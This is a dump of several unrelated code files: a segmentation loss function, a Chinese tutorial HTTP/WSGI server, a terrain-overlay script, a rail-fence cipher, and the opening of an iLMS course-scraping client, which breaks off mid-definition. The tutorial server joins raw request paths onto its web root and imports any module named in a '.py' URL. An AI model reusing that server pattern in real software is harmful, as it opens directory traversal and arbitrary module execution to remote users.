else:\n\n if random_proposal:\n ann_i = np.random.randint(0, len(annList))\n mask = annList[ann_i][\"mask\"]\n else:\n mask = annList[0][\"mask\"]\n\n\n \n mask_ind = np.where(mask)\n prop_mask[mask!=0] = (i+1)\n\n \n f_A = fg_seeds[:,:,[i]]\n \n # Positive Embeddings\n n_pixels = mask_ind[0].shape[0]\n P_ind = np.random.randint(0, n_pixels, 100)\n yList = mask_ind[0][P_ind]\n xList = mask_ind[1][P_ind]\n fg_P = O[:,:,yList, xList]\n \n ap = - torch.log(au.log_pairwise(f_A, fg_P)) \n loss += ap.mean()\n\n # Get Negatives\n if n_seeds > 1:\n N_ind = [j for j in range(n_seeds) if j != i]\n f_N = fg_seeds[:,:,N_ind]\n an = - torch.log(1. - au.log_pairwise(f_A, f_N)) \n loss += an.mean()\n\n # Extract background seeds\n bg = np.where(background.squeeze())\n\n n_pixels = bg[0].shape[0]\n bg_ind = np.random.randint(0, n_pixels, n_seeds)\n yList = bg[0][bg_ind]\n xList = bg[1][bg_ind]\n f_A = O[:,:,yList, xList]\n\n\n bg_ind = np.random.randint(0, n_pixels, 100)\n yList = bg[0][bg_ind]\n xList = bg[1][bg_ind]\n f_P = O[:,:,yList, xList]\n\n\n # BG seeds towards BG pixels, BG seeds away from FG seeds\n ap = - torch.log(au.log_pairwise(f_A[:,:,None], f_P[:,:,:,None])) \n an = - torch.log(1. - au.log_pairwise(f_A[:,:,None], fg_seeds[:,:,:,None])) \n\n loss += ap.mean()\n loss += an.mean()\n\n if batch[\"dataset\"][0] == \"cityscapes\" or batch[\"dataset\"][0] == \"coco2014\": \n n_max = 6\n else:\n n_max = 12\n\n if f_A.shape[2] < n_max:\n with torch.no_grad():\n diff = au.log_pairwise(O.view(1,c,-1)[:,:,:,None], \n torch.cat([fg_seeds, f_A], 2)[:,:,None]) \n labels = diff.max(2)[1] + 1 \n labels = labels <= n_seeds\n labels = labels.squeeze().reshape(h,w)\n bg = labels.cpu().long()*torch.from_numpy(background) \n # ms.images(labels.cpu().long()*torch.from_numpy(background))\n\n\n # Extract false positive pixels\n bg_ind = np.where(bg.squeeze())\n n_P = bg_ind[0].shape[0]\n if n_P != 0:\n A_ind = np.random.randint(0, n_P, n_seeds)\n f_P = O[:,:, bg_ind[0][A_ind], bg_ind[1][A_ind]]\n\n ap = - torch.log(au.log_pairwise(f_A[:,:,None], f_P[:,:,:,None])) \n an = - torch.log(1. - au.log_pairwise(f_P[:,:,None], fg_seeds[:,:,:,None])) \n\n # if i < 3:\n loss += ap.mean()\n loss += an.mean()\n\n # if visualize:\n # diff = log_func(O.view(1,64,-1)[:,:,:,None], torch.cat([se, f_A], 2)[:,:,None])\n # labels = diff.max(2)[1] + 1\n # labels[labels > n_se] = 0\n # labels = labels.squeeze().reshape(h,w)\n\n # ms.images(batch[\"images\"], ms.t2n(labels),denorm=1, win=\"labels\")\n # ms.images(batch[\"images\"], prop_mask.astype(int), denorm=1, win=\"true\")\n # ms.images(batch[\"images\"], background.astype(int), denorm=1, win=\"bg\")\n\n\n return loss / max(n_seeds, 1)","repo_name":"IssamLaradji/wisenet","sub_path":"src/_DEPLOY/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"22744199137","text":"#(1)\n#ctime.py\nimport time\n\n\ndef application(env, start_response): # env 用户请求信息\n status = \"200 OK\"\n headers = [\n (\"Content-Type\", \"text/plain\")\n ]\n start_response(status, headers)\n return time.ctime()\n\n\n#(2)\n#动态web服务器运行python脚本程序编写\nimport socket\nimport re\nfrom multiprocessing import Process\nimport sys\n\n# 设置静态文件根目录 必须全部大写\nHTML_ROOT_DIR = \"./\"\n\nWSGI_PYTHON_DIR = \"./wsgipython\"\n\n\nclass HTTPServer(object):\n \"\"\"\"\"\"\n\n def __init__(self):\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,\n 1) # 当这里收到一个socket实例的时候,修改socket级别的 选项的重用地址 值设置为1\n\n def start(self):\n self.server_socket.listen(128)\n while True:\n client_socket, client_address = self.server_socket.accept()\n print(\"[%s:%s]用户连接上了\" % (client_address[0], client_address[1]))\n handle_clien_process = Process(target=self.handle_clien, args=(client_socket,))\n handle_clien_process.start()\n client_socket.close()\n\n def start_response(self, status, headers):\n \"\"\"\n status = \"200 OK\"\n headers = [\n (\"Content-Type\", \"text/plain\")\n ]\n \"\"\"\n response_headers = \"HTTP/1.1 \" + status + \"\\r\\n\"\n for header in headers:\n response_headers += \"%s:%s\\r\\n\" % header\n self.response_headers = response_headers # 将值放到对象中\n\n def handle_clien(self, client_socket):\n \"\"\"处理客户端请求\"\"\"\n # 获取客户端请求数据\n request_data = client_socket.recv(1024)\n print(\"request_data:\", request_data)\n\n requese_lines = request_data.splitlines()\n for line in requese_lines:\n print(line)\n\n # 解析请求报文\n # 'GET / HTTP /1.1'\n request_start_line = requese_lines[0] # 这个是b''类型\n # 提取用户请求的文件名\n file_name = re.match(r\"\\w+\\s+(/[^ ]*)\\s\", request_start_line.decode(\"utf-8\")).group(\n 1) # 正则表达式 [^ ]只要不是空格,就一直往后走 提取第一个 只能切字符串类型\n if file_name.endswith(\".py\"):\n m = __import__(file_name[1:-3]) # 传一个包名或者模块名就能导入 返回来的就是一个模块\n env = {}\n response_body = m.application(env, self.start_response) # 模块中必须有的函数\n response = self.response_headers + \"\\r\\n\" + response_body\n else:\n if \"/\" == file_name:\n file_name = \"/index.html\"\n\n # 打开文件,读取内容\n try:\n file = open(HTML_ROOT_DIR + file_name, \"rb\") # 以二进制的方式打开 因为有可能要打开图片\n except IOError:\n response_satrt_line = \"HTTP/1.1 404 Not Found\\r\\n\"\n reponse_headers = \"Server: My server\\r\\n\"\n response_body = \"The file is not found\"\n else:\n file_data = file.read()\n\n file.close()\n\n # 构造响应数据\n response_satrt_line = \"HTTP/1.1 200 OK\\r\\n\"\n reponse_headers = \"Server: My server\\r\\n\"\n\n response_body = file_data.decode(\"utf-8\")\n\n response = response_satrt_line + reponse_headers + \"\\r\\n\" + response_body # 也可以放到finally里面 代表不管怎么样都会执行\n print(\"response data:\", response)\n\n # 向客户端返回响应数据\n client_socket.send(bytes(response, \"utf-8\")) # python3要转换成字节\n\n # 关闭客户端连接\n client_socket.close()\n\n def bind(self, port):\n self.server_socket.bind((\"\", port))\n\n\ndef main():\n sys.path.insert(1, WSGI_PYTHON_DIR) # 先从当前路径找 找不到去WSGI_PYTHON_DIR的目录找\n http_server = HTTPServer()\n http_server.bind(8000)\n http_server.start()\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"luqufei456/text","sub_path":"python核心编程实验/动态网站服务器与WSGI协议引入.py","file_name":"动态网站服务器与WSGI协议引入.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23472532777","text":"#/usr/bin/env python\nimport tessterrain\n\nfrom math import *\nfrom euclid import *\nfrom omega import *\nfrom cyclops import *\nfrom omegaToolkit import *\n\nref_point = {}\nref_point['lat'] = -36.9998611\nref_point['lon'] = 140.9998611\ndata_height_scale = 0.4 \n\nhscale_min = 0.2\nhscale_max = 4\nhscale_value = data_height_scale\n\n# ovelay alpha\noverlay_alpha_min = 0.2\noverlay_alpha_max = 1\noverlay_alpha_value = 0.6\n\n\n#INIT\n# Terrain\ntt = tessterrain.initialize()\ntt.initTerrain('terraindata/apps/overlayterrain/vic_config.ini')\ntt.nextDisplayMode(-1)\ntt.setHeightScale(1.0 * data_height_scale);\n\nttOverlay = tessterrain.initialize()\nttOverlay.initTerrain('terraindata/apps/overlayterrain/data_config.ini')\nttOverlay.nextDisplayMode(-1)\nttOverlay.setHeightScale(1.0 * data_height_scale);\nttOverlay.setHeight(400)\nttOverlay.setOpacity(0.7)\n\n# Scene\nscene = getSceneManager()\nall = SceneNode.create(\"everything\")\n# Light\nlight1 = Light.create()\nlight1.setLightType(LightType.Directional)\nlight1.setLightDirection(Vector3(-1.0, -1.0, -1.0))\nlight1.setColor(Color(1.0, 1.0, 1.0, 1.0))\nlight1.setAmbient(Color(0.2, 0.2, 0.2, 1.0))\nlight1.setEnabled(True)\n# Camera\ncam = getDefaultCamera()\ncam.setPosition(Vector3(46930.8, 7805.12, 65433.8))\ncam.setOrientation(Quaternion(-0.99, 0.07, 0.07, 0.01))\ncam.getController().setSpeed(2000)\nsetNearFarZ(2, 400000)\n# UI\nuim = UiModule.createAndInitialize()\n\n\n# MENU\ndef setHeightScale(value):\n val = (float(value) / 100) * (hscale_max - hscale_min) + hscale_min\n hscale_label.setText('Height scale: ' + str(val))\n hscale_value = val * data_height_scale\n tt.setHeightScale(hscale_value)\n\ndef setOverlayAlpha(value):\n val = (float(value) / 100) * (overlay_alpha_max - overlay_alpha_min) + overlay_alpha_min\n overlay_alpha_label.setText('Overlay alpha: ' + str(val))\n tt.setOverlayAlpha(val)\n\n\nmm = MenuManager.createAndInitialize()\nmenu = mm.getMainMenu()\nmm.setMainMenu(menu)\n\n# menu items\nmenu.addButton(\"Go to camera 1\",\n 'cam.setPosition(Vector3(46930.8, 7805.12, 65433.8)), cam.setOrientation(Quaternion(-0.99, 0.07, 0.07, 0.01))')\n\nmenu.addButton(\"Next terrain display mode\", 'tt.nextDisplayMode(1)')\nmenu.addButton(\"Toggle fog\", 'tt.toggleFog()')\n\n# height scale\nhscale_label = menu.addLabel(\"Height scale: \")\nhscale = 1\nval = int( float(hscale - hscale_min) / (hscale_max-hscale_min) * 100 )\npointscale = menu.addSlider(100, \"setHeightScale(%value%)\")\npointscale.getSlider().setValue(val)\npointscale.getWidget().setWidth(200)\nsetHeightScale(val)\n\n# overlay alpha\noverlay_alpha_label = menu.addLabel(\"Overlay alpha: \")\nval = int( float(overlay_alpha_value - overlay_alpha_min) / (overlay_alpha_max-overlay_alpha_min) * 100 )\noverlay = menu.addSlider(100, \"setOverlayAlpha(%value%)\")\noverlay.getSlider().setValue(val)\noverlay.getWidget().setWidth(200)\nsetOverlayAlpha(val)\n\nqueueCommand(\":freefly\")\n","repo_name":"ntoand/tessterrain","sub_path":"examples/dataoverlay/dataoverlay_cave.py","file_name":"dataoverlay_cave.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21631214322","text":"\n# coding:utf8\n\n'''\nhelloworldgoodmorningxxxx 5\nh l r x\n e r d o n x\n l o g m i x\n l w o d n x\n o o g\nhlrnerdonilogmiqlwodnxoog\n\n7\n5 1\n3 3\n1 5\n7\n\n\nhelloworldgoodmorningxxxx 4\nh o o i x\n e w r o d n n x\n l o l g m r g x\n l d o x\nhooixewrodnnxlolgmrgxldox\n\n5\n3 1\n1 3\n5\n'''\n\n\ndef enc(plain, num):\n matrix = [([0] * len(plain)) for i in range(num)]\n\n # 获取i的取值序列\n i_s = []\n for a in range(num):\n i_s.append(a)\n for a in range(num - 2, 0, -1):\n i_s.append(a)\n i_s_len = len(i_s)\n\n # 按规则写入\n i = 0\n for c in plain:\n matrix[i_s[i % i_s_len]][i] = c\n i += 1\n\n # 排除空值,从头到尾取出\n encrypted = ''\n for i in range(num):\n for j in range(len(plain)):\n if matrix[i][j]:\n encrypted += matrix[i][j]\n\n # 临时输出\n # for i in range(num):\n # for j in range(len(plain)):\n # print(matrix[i][j], ' ',)\n # print\n\n return encrypted\n\n\ndef dec(encrypted, num):\n matrix = [([0] * len(encrypted)) for i in range(num)]\n cur = 0\n for i in range(num): # 按行来填\n # 生成每行空格个数的取值序列\n if i == 0: # 第1行和最后一行,只需要一个取值就好了\n pair = [(num-(i+1))*2-1]\n elif i == num-1:\n pair = [i*2-1]\n else:\n pair = [(num-(i+1))*2-1, i*2-1]\n\n # 按规则填入\n pair_i = 0\n j = i\n while True:\n if cur < len(encrypted):\n matrix[i][j] = encrypted[cur]\n cur += 1\n j += pair[pair_i % len(pair)]+1 # 这里要加1,直接加间隔是不够的\n pair_i += 1\n if j >= len(encrypted):\n break\n\n # 临时输出\n # for i in range(num):\n # for j in range(len(encrypted)):\n # print(matrix[i][j], ' ',)\n # print\n\n # 获取i的取值序列\n i_s = []\n for a in range(num):\n i_s.append(a)\n for a in range(num - 2, 0, -1):\n i_s.append(a)\n i_s_len = len(i_s)\n # 按规则取出\n decrypted = ''\n for j in range(len(encrypted)):\n decrypted += matrix[i_s[j % i_s_len]][j]\n return decrypted\n\n\nencrypted = enc('栅栏密码W型的', 3)\nprint(encrypted)\ndecrypted = dec(encrypted, 3)\nprint(decrypted)\n\n# encrypted = 'ccehgyaefnpeoobe{lcirg}epriec_ora_g'\n# num = 5\n# print(dec(encrypted, num))\n\n'''\nhooixewrodnnxlolgmrgxldox\nhelloworldgoodmorningxxxx\ncyberpeace{railfence_cipher_gogogo}\n'''\n","repo_name":"tanyiqu/CryptoKing","sub_path":"ui/Widgets/ClassicalCipher/fence-w.py","file_name":"fence-w.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"4006102856","text":"from ck.iteration import adhoc\nfrom ck.iteration import io\n\n\ncollect_out = adhoc.collect_out\nconcat_in = adhoc.concat_in\nempty_in = adhoc.empty_in\nempty_out = adhoc.empty_out\ngiven_in = adhoc.given_in\nignore_out = adhoc.ignore_out\n\necho_io = io.echo_io\nfile_in = io.file_in\nfile_out = io.file_out\npipe_in = io.pipe_in\npipe_out = io.pipe_out\nstream_in = io.stream_in\nstream_out = io.stream_out\n","repo_name":"hczhcz/PyCK","sub_path":"ck/iteration/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"70339455875","text":"from __future__ import annotations\n\nimport asyncio\nimport collections\nimport contextlib\nimport dataclasses\nimport functools\nimport getpass\nimport hashlib\nimport itertools\nimport json\nimport os\nimport pathlib\nimport pickle\nimport re\nimport shlex\nimport shutil\nimport signal\nimport sys\nimport time\nimport types\nfrom typing import AsyncGenerator, Awaitable, Iterable, Iterator, List, Optional, Union\n\nimport aiohttp\nimport click\nimport lxml.html\nimport wcwidth\nimport yarl\n\nimport ilmsdump.fileutil\n\nLOGIN_DOMAIN = 'lms.nthu.edu.tw'\nTARGET_ORIGIN = os.environ.get('ILMSDUMP_TARGET_ORIGIN', 'https://lms.nthu.edu.tw')\nLOGIN_URL = f'{TARGET_ORIGIN}/sys/lib/ajax/login_submit.php'\nLOGIN_STATE_URL = f'{TARGET_ORIGIN}/home.php'\nCOURSE_LIST_URL = f'{TARGET_ORIGIN}/home.php?f=allcourse'\n\n\nclass ILMSError(Exception):\n \"\"\"Base exception class for ilmsdump\"\"\"\n\n\nclass LoginFailed(ILMSError):\n \"\"\"Failed to login\"\"\"\n\n\nclass CannotUnderstand(ILMSError):\n \"\"\"Server returned something unexpected\"\"\"\n\n\nclass UserError(ILMSError):\n \"\"\"Invalid user input\"\"\"\n\n\nclass Unavailable(ILMSError):\n \"\"\"Requested resource does not exist\"\"\"\n\n @classmethod\n def check(cls, html: lxml.html.HtmlElement):\n errors = html.xpath('//body/div[count(./*)=0]/text()')\n if errors:\n raise cls(errors[0])\n\n\nclass DownloadFailed(ILMSError):\n \"\"\"Failed to perform download\"\"\"\n\n\nclass NoPermission(ILMSError):\n \"\"\"\n No Permission! Read permission : Only open for teacher and TA\n 權限不足! 目前課程的閱讀權限為 : 不開放(僅老師及助教可以閱讀)\n \"\"\"\n\n @classmethod\n def check(cls, html: lxml.html.HtmlElement):\n no_permission = html.xpath(\n '//div[contains(@style, \"color:#F00;\") and '\n '(starts-with(text(), \"權限不足!\") or starts-with(text(), \"No Permission!\"))]'\n '/text()'\n )\n if no_permission:\n raise cls(*no_permission)\n\n\ndef as_sync(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n return asyncio.run(func(*args, **kwargs))\n\n return wrapper\n\n\ndef as_sync_cooperative(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n loop = asyncio.get_event_loop()\n loop.run_until_complete(func(*args, **kwargs))\n\n return wrapper\n\n\nclass _EmptyAsyncGenerator:\n def __init__(self, coro: Awaitable):\n self._done = False\n self._coro = coro\n\n def __aiter__(self):\n return self\n\n async def __anext__(self):\n if not self._done:\n self._done = True\n await self._coro\n raise StopAsyncIteration\n\n\ndef as_empty_async_generator(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n return _EmptyAsyncGenerator(func(*args, **kwargs))\n\n return wrapper\n\n\n@contextlib.contextmanager\ndef capture_keyboard_interrupt() -> Iterator[asyncio.Event]:\n event = asyncio.Event()\n\n def handler(signum, frame):\n event.set()\n\n old_handler = signal.signal(signal.SIGINT, handler)\n try:\n yield event\n finally:\n signal.signal(signal.SIGINT, old_handler)\n\n\n@as_sync_cooperative\nasync def _get_workaround_client_response_content_is_traced():\n is_traced = False\n\n async def callback(session, context, params):\n nonlocal is_traced\n is_traced = True\n\n tc = aiohttp.TraceConfig()\n tc.on_response_chunk_received.append(callback)\n\n async with aiohttp.ClientSession(trace_configs=[tc]) as client:\n async with client.get(f'{TARGET_ORIGIN}') as response:\n async for chunk in response.content.iter_any():\n pass\n return is_traced\n\n\n# https://github.com/aio-libs/aiohttp/issues/5324\n_workaround_client_response_content_is_traced = _get_workaround_client_response_content_is_traced()\n\n\ndef qs_get(url: str, key: str) -> str:\n purl = yarl.URL(url)\n try:\n return purl.query[key]\n except KeyError:\n raise KeyError(key, url) from None\n\n\n@functools.singledispatch\ndef quote_path(path):\n raise NotImplementedError\n\n\n@quote_path.register\ndef _(path: pathlib.PurePosixPath):\n return shlex.quote(str(path))\n\n\n@quote_path.register\ndef _(path: pathlib.PureWindowsPath):\n pathstr = str(path)\n if '\"' in pathstr:\n raise ValueError(f'Invalid path containing double quotes: {path!r}')\n return f'\"{pathstr}\"'\n\n\nclass Client:\n def __init__(self, data_dir):\n self.bytes_downloaded = 0\n\n trace_config = aiohttp.TraceConfig()\n trace_config.on_response_chunk_received.append(self.session_on_response_chunk_received)\n\n self.session = aiohttp.ClientSession(\n raise_for_status=True,\n trace_configs=[trace_config],\n timeout=aiohttp.ClientTimeout(total=80),\n )\n\n self.data_dir = pathlib.Path(data_dir).absolute()\n os.makedirs(self.data_dir, exist_ok=True)\n\n self.cred_path = os.path.join(self.data_dir, 'credentials.txt')\n\n async def __aenter__(self):\n return self\n\n async def __aexit__(self, exc_type, exc, tb):\n await self.close()\n\n async def close(self):\n await self.session.close()\n\n log = staticmethod(print)\n\n @contextlib.asynccontextmanager\n async def request(self, *args, **kwargs):\n retries = 3\n sleep_duration = 5\n while True:\n try:\n async with self.session.request(*args, **kwargs) as response:\n yield response\n return\n except aiohttp.ClientResponseError as exc:\n if not retries:\n raise\n if exc.status != 400:\n raise\n print(file=sys.stderr)\n print(f'Exception occurred: {exc}', file=sys.stderr)\n print(\n f'Sleeping for {sleep_duration}s; remaining retries: {retries}',\n file=sys.stderr,\n )\n await asyncio.sleep(sleep_duration)\n sleep_duration *= 4\n retries -= 1\n\n async def ensure_authenticated(self, prompt: bool):\n try:\n cred_file = open(self.cred_path, encoding='utf-8')\n except FileNotFoundError:\n if prompt:\n await self.interactive_login()\n with open(self.cred_path, 'w', encoding='utf-8') as file:\n print(\n self.session.cookie_jar.filter_cookies(yarl.URL(LOGIN_STATE_URL))[\n 'PHPSESSID'\n ].value,\n file=file,\n )\n self.log('Saved credentials to', self.cred_path)\n else:\n with cred_file:\n self.log('Using existing credentials in', self.cred_path)\n phpsessid = cred_file.read().strip()\n await self.login_with_phpsessid(phpsessid)\n\n def clear_credentials(self):\n \"\"\"\n Clear saved credentials. Returns true if something is actually removed. False otherwise.\n \"\"\"\n try:\n os.remove(self.cred_path)\n except FileNotFoundError:\n self.log('No credentials saved in', self.cred_path)\n return False\n else:\n self.log('Removed saved credentials in', self.cred_path)\n return True\n\n async def interactive_login(self):\n username = input('iLMS username (leave empty to login with PHPSESSID): ')\n if username:\n password = getpass.getpass('iLMS password: ')\n await self.login_with_username_and_password(username, password)\n else:\n phpsessid = getpass.getpass('iLMS PHPSESSID: ')\n await self.login_with_phpsessid(phpsessid)\n\n async def login_with_username_and_password(self, username, password):\n from ilmsdump import captcha\n\n async with self.session.get(f'{TARGET_ORIGIN}/login_page.php') as response:\n await response.read()\n\n async with captcha.request(self.session) as response:\n jpegbin = await response.read()\n captcha_code = captcha.match(jpegbin)\n\n login = self.session.post(\n LOGIN_URL,\n data={\n 'account': username,\n 'password': password,\n 'secCode': captcha_code,\n },\n )\n async with login as response:\n response.raise_for_status()\n json_body = await response.json(\n content_type=None, # to bypass application/json check\n )\n json_ret = json_body['ret']\n if json_ret['status'] != 'true':\n raise LoginFailed(json_ret)\n self.log('Logged in as', json_ret['name'])\n\n async def login_with_phpsessid(self, phpsessid):\n self.session.cookie_jar.update_cookies(\n {'PHPSESSID': phpsessid},\n response_url=yarl.URL(LOGIN_DOMAIN),\n )\n name = await self.get_login_state()\n if name is None:\n raise LoginFailed('cannot login with provided PHPSESSID')\n self.log('Logged in as', name)\n\n async def get_login_state(self):\n async with self.session.get(LOGIN_STATE_URL) as response:\n html = lxml.html.fromstring(await response.text())\n\n if not html.xpath('//*[@id=\"login\"]'):\n return None\n\n name_node = html.xpath('//*[@id=\"profile\"]/div[2]/div[1]/text()')\n assert name_node\n return ''.join(name_node).strip()\n\n async def session_on_response_chunk_received(\n self,\n session: aiohttp.ClientSession,\n context: types.SimpleNamespace,\n params: aiohttp.TraceResponseChunkReceivedParams,\n ) -> None:\n self.bytes_downloaded += len(params.chunk)\n\n async def get_course(self, course_id: int) -> 'Course':\n async with self.session.get(\n f'{TARGET_ORIGIN}/course.php',\n params={\n 'courseID': course_id,\n 'f': 'syllabus',\n },\n ) as response:\n print(response.url)\n if response.url.path == '/course_login.php':\n raise UserError(f'No access to course: course_id={course_id}')\n\n body = await response.text()\n if not body:\n raise UserError(\n 'Empty response returned for course, '\n f\"the course probably doesn't exist: course_id={course_id}\"\n )\n\n html = lxml.html.fromstring(body)\n\n (name,) = html.xpath('//div[@class=\"infoPath\"]/a/text()')\n\n (hint,) = html.xpath('//div[@class=\"infoTable\"]//td[2]/span[@class=\"hint\"]/text()')\n m = re.match(r'\\(\\w+, (\\w+), \\w+, \\w+\\)', hint)\n assert m is not None, hint\n serial = m.group(1)\n\n if html.xpath('//div[@id=\"main\"]//a[@href=\"javascript:editDoc(1)\"]'):\n is_admin = True\n else:\n is_admin = False\n\n course = Course(\n id=course_id,\n serial=serial,\n name=name,\n is_admin=is_admin,\n )\n\n return course\n\n async def get_enrolled_courses(self) -> AsyncGenerator['Course', None]:\n async with self.session.get(COURSE_LIST_URL) as response:\n body = await response.text()\n html = lxml.html.fromstring(body)\n\n try:\n Unavailable.check(html)\n except Unavailable:\n raise UserError('Cannot get enrolled courses. Are you logged in?')\n\n for a in html.xpath('.//td[@class=\"listTD\"]/a'):\n bs = a.xpath('b')\n if bs:\n is_admin = True\n (tag,) = bs\n else:\n is_admin = False\n tag = a\n\n name = tag.text\n serial = a.getparent().getparent()[0].text\n\n m = re.match(r'/course/(\\d+)', a.attrib['href'])\n if m is None:\n raise CannotUnderstand('course URL', a.attrib['href'])\n yield Course(\n id=int(m.group(1)),\n serial=serial,\n name=name,\n is_admin=is_admin,\n )\n\n async def get_open_courses(self, semester_id=-1) -> AsyncGenerator['Course', None]:\n page = 1\n total_pages = 1\n while page <= total_pages:\n print(end=f'\\rIndexing open courses: page {page} of {total_pages}', file=sys.stderr)\n async with self.session.get(\n f'{TARGET_ORIGIN}/course/index.php',\n params={\n 'nav': 'course',\n 't': 'open',\n 'term': semester_id,\n 'page': page,\n },\n ) as response:\n html = lxml.html.fromstring(await response.text())\n\n total_pages_strs = html.xpath('//input[@id=\"PageCombo\"]/following-sibling::text()')\n if total_pages_strs:\n total_pages = int(total_pages_strs[0].rpartition('/')[2])\n else:\n for href in html.xpath('//span[@class=\"page\"]/span[@class=\"item\"]/a/@href'):\n total_pages = max(total_pages, int(qs_get(href, 'page')))\n\n for a in html.xpath('//div[@class=\"tableBox\"]//a[starts-with(@href, \"/course/\")]'):\n id_ = int(os.path.basename(a.attrib['href']))\n title = a.text\n serial_div = a.getparent().getprevious()[0]\n assert serial_div.tag == 'div'\n assert serial_div.attrib['title'] == serial_div.text\n serial = serial_div.text\n yield Course(\n id=id_,\n serial=serial,\n name=title,\n is_admin=False,\n )\n\n page += 1\n print()\n\n def get_dir_for(self, item: Downloadable) -> pathlib.Path:\n d = self.data_dir / item.__class__.__name__.lower() / str(item.id)\n d.mkdir(parents=True, exist_ok=True)\n return d\n\n\nclass Downloadable:\n\n _CLASSES: List[str] = []\n id: int\n\n @as_empty_async_generator\n async def download(self, client):\n pass\n\n def as_id_string(self):\n return f'{self.__class__.__name__}-{self.id}'\n\n def get_meta(self) -> dict:\n return {\n field.name: flatten_attribute(getattr(self, field.name))\n for field in dataclasses.fields(self)\n }\n\n @classmethod\n def __init_subclass__(cls, **kwargs):\n super().__init_subclass__(**kwargs)\n Downloadable._CLASSES.append(cls.__name__)\n\n\n@functools.singledispatch\ndef flatten_attribute(value):\n return value\n\n\n@flatten_attribute.register\ndef _(value: Downloadable):\n return value.as_id_string()\n\n\n@flatten_attribute.register\ndef _(value: yarl.URL):\n return str(value)\n\n\n@dataclasses.dataclass\nclass Stat:\n total: int = 0\n completed: int = 0\n\n\nclass Downloader:\n def __init__(self, client: Client):\n self.client = client\n self.stats = collections.defaultdict(Stat)\n self.fullstats = collections.Counter()\n self.rates = collections.deque(maxlen=20)\n self.rates_str = ' 0.00Mbps'\n self.done: Optional[asyncio.Event] = None\n self.report_progress_task: Optional[asyncio.Task] = None\n\n def mark_total(self, item):\n self.stats[item.STATS_NAME].total += 1\n\n def mark_completed(self, item):\n self.stats[item.STATS_NAME].completed += 1\n self.fullstats[item.__class__.__name__] += 1\n\n def report_progress(self):\n progress_str = ' '.join(f'{k}:{v.completed}/{v.total}' for (k, v) in self.stats.items())\n dl_size_str = f'{self.client.bytes_downloaded / 1e6:.1f}MB'\n print(\n f'{self.rates_str} DL:{dl_size_str} {progress_str}'.ljust(\n max(1, shutil.get_terminal_size().columns - 1)\n ),\n end='\\r',\n file=sys.stderr,\n )\n\n def update_rates(self):\n now = time.perf_counter()\n bandwidth = 0\n if self.rates:\n then, old_size = self.rates[0]\n bandwidth = (self.client.bytes_downloaded - old_size) / (now - then)\n self.rates.append((now, self.client.bytes_downloaded))\n self.rates_str = f'{bandwidth*8e-6:6.2f}Mbps'\n\n async def periodically_report_progress(self, done: asyncio.Event, period: float = 0.5):\n while not done.is_set():\n with contextlib.suppress(asyncio.TimeoutError):\n await asyncio.wait_for(done.wait(), period)\n self.update_rates()\n self.report_progress()\n\n def create_resume_file(self, data):\n b = pickle.dumps(data)\n sha256 = hashlib.sha256(b).hexdigest()\n resume_file = self.client.data_dir / f'resume-{sha256[:7]}.pickle'\n resume_file.write_bytes(b)\n return resume_file\n\n async def run(self, items: Iterable[Downloadable], ignore=()):\n print('--- Starting Download '.ljust(79, '-'))\n\n items = collections.deque(items)\n\n for item in items:\n self.mark_total(item)\n\n self.done = asyncio.Event()\n self.report_progress_task = asyncio.create_task(\n self.periodically_report_progress(self.done),\n )\n\n with capture_keyboard_interrupt() as interrupted:\n\n while items:\n item = items[0]\n\n if item.__class__.__name__ in ignore or item.as_id_string() in ignore:\n items.popleft()\n continue\n\n item_children = []\n\n try:\n async for child in item.download(self.client):\n item_children.append(child)\n self.mark_total(child)\n\n with (self.client.get_dir_for(item) / 'meta.json').open(\n 'w', encoding='utf-8'\n ) as file:\n json.dump(\n {\n **item.get_meta(),\n 'children': [c.as_id_string() for c in item_children],\n },\n file,\n )\n except Exception:\n resume_file = self.create_resume_file(dict(items=items, ignore=ignore))\n await self.finish()\n raise DownloadFailed(\n f'Error occurred while handling {item}\\n'\n f'Run with --resume={quote_path(resume_file)} to resume download.\\n'\n f'Run with --ignore={item.as_id_string()} to ignore this item.'\n )\n\n items.popleft()\n items.extend(item_children)\n self.mark_completed(item)\n\n if interrupted.is_set():\n print(file=sys.stderr)\n resume_file = self.create_resume_file(dict(items=items, ignore=ignore))\n await self.finish()\n print(\n 'Interrupted.\\n'\n f'Run with --resume={quote_path(resume_file)} to resume download.\\n'\n f'Run with --ignore={item.as_id_string()} to ignore this item.',\n file=sys.stderr,\n )\n return\n\n await self.finish()\n\n async def finish(self):\n self.done.set()\n assert self.report_progress_task is not None\n await self.report_progress_task\n\n self.report_progress()\n print(file=sys.stderr)\n print('--- Summary '.ljust(79, '-'))\n for k, v in self.fullstats.items():\n print(f'{k}: {v}')\n print('-' * 79)\n\n\ndef html_get_main(html: lxml.html.HtmlElement) -> lxml.html.HtmlElement:\n NoPermission.check(html)\n mains = html.xpath('//div[@id=\"main\"]')\n if not mains:\n raise Unavailable(\n '//div[@id=\"main\"] not found: {}'.format(\n ''.join(map(str.strip, html.xpath('//text()')))[:100]\n )\n )\n main = mains[0]\n for to_remove in itertools.chain(\n main.xpath('div[@class=\"infoPath\"]'),\n main.xpath('.//script'),\n ):\n to_remove.getparent().remove(to_remove)\n return main\n\n\ndef table_is_empty(html: lxml.html.HtmlElement) -> bool:\n second_row_tds = html.xpath('//div[@class=\"tableBox\"]/table/tr[2]/td')\n if len(second_row_tds) == 1:\n # 目前尚無資料 or No Data\n assert second_row_tds[0].text in ('目前尚無資料', 'No Data')\n return True\n return False\n\n\ndef 